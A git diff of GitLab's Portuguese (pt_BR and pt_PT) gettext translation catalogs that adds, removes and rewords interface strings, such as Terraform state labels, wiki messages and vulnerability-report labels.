+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr "O Rastreador de Issue é o lugar para adicionar coisas que precisam ser
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,12 +27046,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "O Certificado X509 a ser usado quando o TLS mútuo é necessário para se comunicar com o serviço de autorização externa. Se deixado em branco, o certificado do servidor ainda será validado ao acessar por HTTPS."
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr ""
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr ""
@@ -26516,9 +27118,6 @@ msgstr "O domínio que você digitou não é permitido."
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr "O relacionamento como fork foi removido."
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr "O convite foi reenviado com sucesso."
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "A etapa de planejamento mostra o tempo que se leva desde a criação de uma issue até sua atribuição à um marco, ou sua adição a uma lista no seu painel. Comece a criar issues para ver dados para esta etapa."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr "A etapa de homologação mostra o tempo entre o aceite da solicitação
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "A etapa de testes mostra o tempo que o GitLab CI leva para executar cada pipeline para a solicitação de incorporação associada. Os dados serão automaticamente adicionados após a conclusão do primeiro pipeline."
@@ -26773,7 +27387,7 @@ msgstr "O tempo necessário por cada entrada de dados reunida por essa etapa."
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr "A ação de atualização irá expirar depois de %{number_of_minutes} minutos. Para grandes repositórios, use uma combinação de clone/push."
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "O mapa do usuário é um mapeamento dos usuários do FogBugz que participaram de seus projetos para a maneira como seus endereços de e-mail e nomes de usuários serão importados para o GitLab. Você pode alterar isso preenchendo a tabela abaixo."
@@ -26803,6 +27414,9 @@ msgstr "O valor situado no ponto médio de uma série de valores observados. Ex.
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr "Não há projetos compartilhados com esse grupo ainda"
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr "Esta é a sua sessão atual"
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Esse merge request está bloqueado."
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr "Esta página não está disponível porque você não tem permissão par
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr "Tempo limite"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "h"
@@ -27914,6 +28531,9 @@ msgstr "s"
msgid "Tip:"
msgstr "Dica:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "Título"
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr "Faça upgrade de plano para melhorar os painéis."
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Enviar arquivo"
@@ -28883,6 +29509,9 @@ msgstr "Votos positivos"
msgid "Usage"
msgstr "Uso"
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr "Ilimitado"
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr "Uso"
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "Atividade"
@@ -29222,6 +29863,9 @@ msgstr "Projetos pessoais"
msgid "UserProfile|Report abuse"
msgstr "Denunciar abuso"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "Snippets"
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "Ver tudo"
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "Usuários"
@@ -29330,15 +29980,15 @@ msgstr "Nenhum responsável - %{openingTag} atribua a você mesmo %{closingTag}"
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr "Várias configurações de localização."
msgid "Various settings that affect GitLab performance."
msgstr "Várias configurações que afetam o desempenho do GitLab."
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr "Ver arquivo @ "
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr "Ver etiquetas de projeto"
msgid "View replaced file @ "
msgstr "Ver arquivo substituído @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr "Revisar"
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr "Vulnerabilidades"
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr "Classe"
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr "Projeto"
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr "Gravidade"
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,8 +30796,14 @@ msgstr ""
msgid "Wiki"
msgstr "Wiki"
-msgid "Wiki was successfully updated."
-msgstr "Wiki foi atualizado com sucesso."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
+msgstr ""
msgid "WikiClone|Clone your wiki"
msgstr "Clonar sua wiki"
@@ -30278,6 +30958,9 @@ msgstr "Versão da página"
msgid "Wiki|Pages"
msgstr "Páginas"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr "Título"
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr "Sim, deixe-me associar usuários do Google Code para nomes completos ou usuários do GitLab."
-
msgid "Yesterday"
msgstr "Ontem"
@@ -30371,6 +31051,9 @@ msgstr "Você"
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr "Você pode testar o seu .gitlab-ci.yml no %{linkStart}CI Lint%{linkEnd}."
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr "Você não tem permissão para deixar este %{namespaceType}."
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr "Você será notificado apenas sobre comentários que te @mencionam"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "Você não poderá fazer pull ou push via %{protocol} até que %{set_password_link} para sua conta"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "Você não poderá fazer push ou pull do código via SSH enquanto não adicionar sua chave SSH no seu perfil"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr "Você está recebendo este e-mail devido à sua conta no %{host}."
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,14 +32007,11 @@ msgstr "%{reportType}: Carregamento resultou em um erro"
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr "(erros ao carregar resultados)"
-
-msgid "ciReport|(is loading)"
-msgstr "(está carregando)"
+msgid "ciReport|: Loading resulted in an error"
+msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
-msgstr "(está carregando, erros ao carregar resultados)"
+msgid "ciReport|API Fuzzing"
+msgstr ""
msgid "ciReport|All projects"
msgstr "Todos os projetos"
@@ -31467,6 +32177,12 @@ msgstr[1] "Usado por %{packagesString} e %{lastPackage}"
msgid "ciReport|View full report"
msgstr "Visualizar relatório completo"
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr "conectando"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr "personalizar"
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr "concluído"
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr "para este projeto"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,8 +32395,8 @@ msgstr ""
msgid "import flow"
msgstr "fluxo de importação"
-msgid "importing"
-msgstr "importando"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr ""
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "nenhum"
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] "de um total de %d teste"
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr "%{slash_command} irá atualizar a soma do tempo gasto."
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr "iniciado"
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr "este documento"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "para ajudar seus contribuintes à se comunicar de maneira eficaz!"
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/pt_PT/gitlab.po b/locale/pt_PT/gitlab.po
index c5956a44e8d..0e840533474 100644
--- a/locale/pt_PT/gitlab.po
+++ b/locale/pt_PT/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: pt-PT\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:50\n"
+"PO-Revision-Date: 2020-12-03 08:19\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr "%{actionText} & %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
